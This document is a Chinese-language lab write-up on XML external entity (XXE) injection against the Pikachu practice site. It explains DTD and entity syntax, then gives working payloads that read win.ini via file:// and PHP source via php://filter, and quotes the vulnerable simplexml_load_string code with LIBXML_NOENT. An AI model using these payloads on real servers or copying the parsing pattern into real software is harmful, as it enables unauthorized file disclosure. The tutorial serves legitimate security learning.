原理

XXE - “xml external entity injection“,”xml 外部实体注入漏洞”。

XML 指的是可拓展标记语言(extensible markup language)

菜鸟教程:https://www.runoob.com/xml/xml-tutorial.html

XML 从入门到深入:https://www.cnblogs.com/antLaddie/p/14823874.html

XML 声明

必须在第一行,参数有 version, encoding, standalone

1
<?xml version="1.0" ?>

DTD(Document Type Define)文档类型定义

用于描述 XML 文档结构

DTD 定义文档规则(DOCTYPE)

1
2
3
4
5
6
7
DTD文档的声明及引用有三种:
内部DTD文档:
<!DOCTYPE 根元素[定义元素属性等等内容]>
外部DTD文档:
<!DOCTYPE 根元素 SYSTEM 'DTD文件路径'>
内外部DTD文档结合:
<!DOCTYPE 根元素 SYSTEM 'DTD文件路径'[定义元素属性等等内容]>

DTD 元素定义(ELEMENT)

1
2
3
4
5
6
7
8
9
语法:<!ELEMENT 元素名称(NAME)  元素类型(COUTENT)>
注:ELEMENT关键字
元素名称:就是自定义的子标签名称
元素类型:
EMPTY:该元素不能包含子元素和文本,但是可以有属性,这类元素称为自闭和标签
ANY:该元素可以包含任意在DTD中定义的元素内容
#PCDATA:可以包含任何字符数据,设置这个就不能包含子元素了,一般设置具体value
混合元素类型:只包含子元素,并且这些子元素没有文本
混合类型:包含子元素和文本数据混合体

DTD 属性定义(ATTLIST)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
语法:<!ATTLIST 元素名称 属性名称 类型 属性特点>
元素名称:我们自定义的元素名称
属性类型:我们为元素上添加自定义属性
类型:
CDATA:
任意字符(理解为任意字符的字符串)
ID:
以字母开头唯一值字符串,
IDREF/IDREFS:
可以指向文档中其它地方声明的ID类型值(设置此值是可以在文档上存在的)
使用IDREFS时可以使用空格隔开
NMTOKEN/NMTOKENS:
NMTOKEN是CDATA的一个子集,设置该属性时只能写英文字母、数字、句号、破折号
下划线、冒号,但是属性值里面不能有空格     NMTOKENS:它是复数,如果设置多个值由空格隔开   Enumerated:     事先定义好一些值,属性的值必须在所列出的值范围内
属性特点:
#REQUIRED
表示必须设置此属性
#IMPLIED
表示此属性可写可不写
#FIXED value
表示元素实例中该属性的值必须是指定的固定值
#Default value
为属性提供一个默认值

DTD 实体定义(ENTITY)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
实体分类:
普通内部实体,普通外部实体,内部参数实体,外部参数实体

语法:
普通内部实体定义:<!ENTITY 实体名 "实体值">
普通外部实体引入:<!ENTITY 实体名 SYSTEM "URI/URL">
内部参数实体定义:<!ENTITY % 实体名 "实体值">
外部参数实体引入:<!ENTITY % 实体名 SYSTEM "URI/URL">

示例定义:
<!ENTITY name "pikachu">
<!ENTITY address "Kali Linux">
示例XML里使用:
<name>&name;</name>

使用范围:定义实体分为内部实体(定义在当前xml文件)和外部实体(定义在外部dtd文件里)

实战

我们输入普通的文本,发现会弹出这个,并且我们从浏览器或者 hackbar 插件中可以知道是 POST 请求,并且有两个参数,一个是 xml,一个是 submit。

根据上面的 XML 声明、DTD 文档类型定义、DTD 实体我们就可以构造一个

1
2
3
4
5
<?xml version="1.0" ?>
<!DOCTYPE pi[
<!ENTITY text "pikachu">
]>
<pi>&text;</pi>

有回显,输出 pikachu(上面的根元素和实体名任意,只需要实体名与下面的实体元素名称相同就行)

XML DTD 外部引用

支持 file http 还有各种伪协议

我们还可以通过路径来回显,如果成功,则代表可以访问文件。(下面代码限于 Windows 服务器,我的靶场在 Linux docker 里面,试了几遍没有试出来。)

使用 file 路径(文件绝对路径)

1
2
3
4
5
<?xml version="1.0" ?>
<!DOCTYPE pi[
<!ENTITY text SYSTEM "file:///C:/Windows/win.ini">
]>
<pi>&text;</pi>

使用 PHP 伪协议

1
2
3
4
5
<?xml version="1.0" ?>
<!DOCTYPE pi[
<!ENTITY text SYSTEM "php://filter/convert.base64-encode/resource=E:/Soft/phpstudy_pro/WWW/pikachu/vul/xxe/xxe_1.php">
]>
<pi>&text;</pi>

无回显操作

看网上有的说不能操作,还有的教程往服务端放了两个文件,一个文件是通过 GET 或者 POST 协议来接收数据,然后对 base64 进行解码,进行保存文件(php 文件),然后一个外部的 XML 文件用来之后payload 的外部引用。

源码

1
2
3
4
5
6
7
8
9
10
11
12
if(isset($_POST['submit']) and $_POST['xml'] != null){


$xml =$_POST['xml'];
// $xml = $test;
$data = @simplexml_load_string($xml,'SimpleXMLElement',LIBXML_NOENT);
if($data){
$html.="<pre>{$data}</pre>";
}else{
$html.="<p>XML声明、DTD文档类型定义、文档元素这些都搞懂了吗?</p>";
}
}

具体来说用了simplexml_load_string 函数对 xml 字符串解析成一个对象。